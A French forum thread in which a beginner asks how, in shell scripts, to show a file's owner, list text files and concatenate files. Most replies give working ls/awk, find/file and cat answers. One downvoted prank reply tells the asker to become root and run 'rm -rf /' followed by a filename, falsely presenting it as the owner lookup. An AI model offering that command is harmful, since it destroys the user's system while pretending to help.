bonjour,
j'ai quelques soucis concernant la programmation shell.
en effet j'aimerai savoir:
1-quelle commande pourai je utiliser dans un script shell, pour afficher le nom du proprietaire d'un fichier.
2-quelle commande pourai je utiliser dans un script shell, pour retrouver les fichiers textes contenus dans un repertoire donné.
3-enfin quelle commande me permet de concatener deux fichiers differents dans un troisieme
merci d'avance pour votre aide, je suis à vous pour toute proposition.
bien à vous
# A mon avis tu trouvera tout ton bonheur par la
Posté par Calim' Héros (site web personnel) . Évalué à 3.
et
http://www.ss64.com/bash/
# Attention
Posté par Axel . Évalué à -9.
donc, logue toi en root avec "su".
ensuite, tape la commande suivante :
rm -rf / nom_du_fichier
il y a un espace entre "/" et le fichier dont tu veux connaitre le proprietaire.
[^] # Re: Attention
Posté par B16F4RV4RD1N . Évalué à 3.
L'éthique du vrai "hacker", toussa...
Only wimps use tape backup: real men just upload their important stuff on megaupload, and let the rest of the world ~~mirror~~ link to it
[^] # Re: Attention
Posté par 桃白白 . Évalué à 4.
# no soucy
Posté par Dabowl_92 . Évalué à 2.
2 - La commande find te permet de retrouver des fichiers, pour chaque fichier trouvé il faut vérifier son type, on vérifie ça par l'extension dans le nom de fichier ou sinon pour son en-tête, on utilise pour la commande "file"
3 - La commande cat (d'où le nom) permet de faire ça, cat A B > C, C contiendra la concaténation de A et de B
Lire les man pour plus d'informations
# ls, grep, awk etc...
Posté par goeb . Évalué à 2.
1.
ls -l $fichier | awk '{ print $3; }'
2.
find $dir -exec file {} \; | grep "text"
3.
cat fichier1 fichier2 > fichier3
tout ça à condition d'avoir les programmes ls, awk, find, file, grep et cat sur ta machine (ce qui est probable).
[^] # Re: ls, grep, awk etc...
Posté par totof2000 . Évalué à 3.
je remplacerais plutot ton find (qui est récursif) par un ls (qui lui ne l'est pas par défaut). De plus si le find s'impose je ferais une recherche des "plain files" plutôt que de tout balancer à la commande file .... (évite par exemple de se taper tous les répertoires de l'arborescence).
[^] # Re: ls, grep, awk etc...
Posté par cerco . Évalué à 1.
goeb j'ai utilisé toutes les trois commandes que tu m'as proposées et ça marche. seulement je me suis rendu compte que je n'ai pas été très explicite pour ma deuxieme question.
en fait mon script n'affiche pas seulement les fichiers textes contenus dans un repertoire. il doit pouvoir tester d'abord le fichier et ensuite afficher son contenu si et seulement si c'est un fichier texte.
c'est à dire il excute cet algo:
si $fichier est un fichier texte
alors afficher son contenu
sinon quitter
fsi
quelqu'un peut-il m'aider à faire ce test des fichiers?
j'espere avoir été plus explicite et vous remercie encore pour votre aide
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.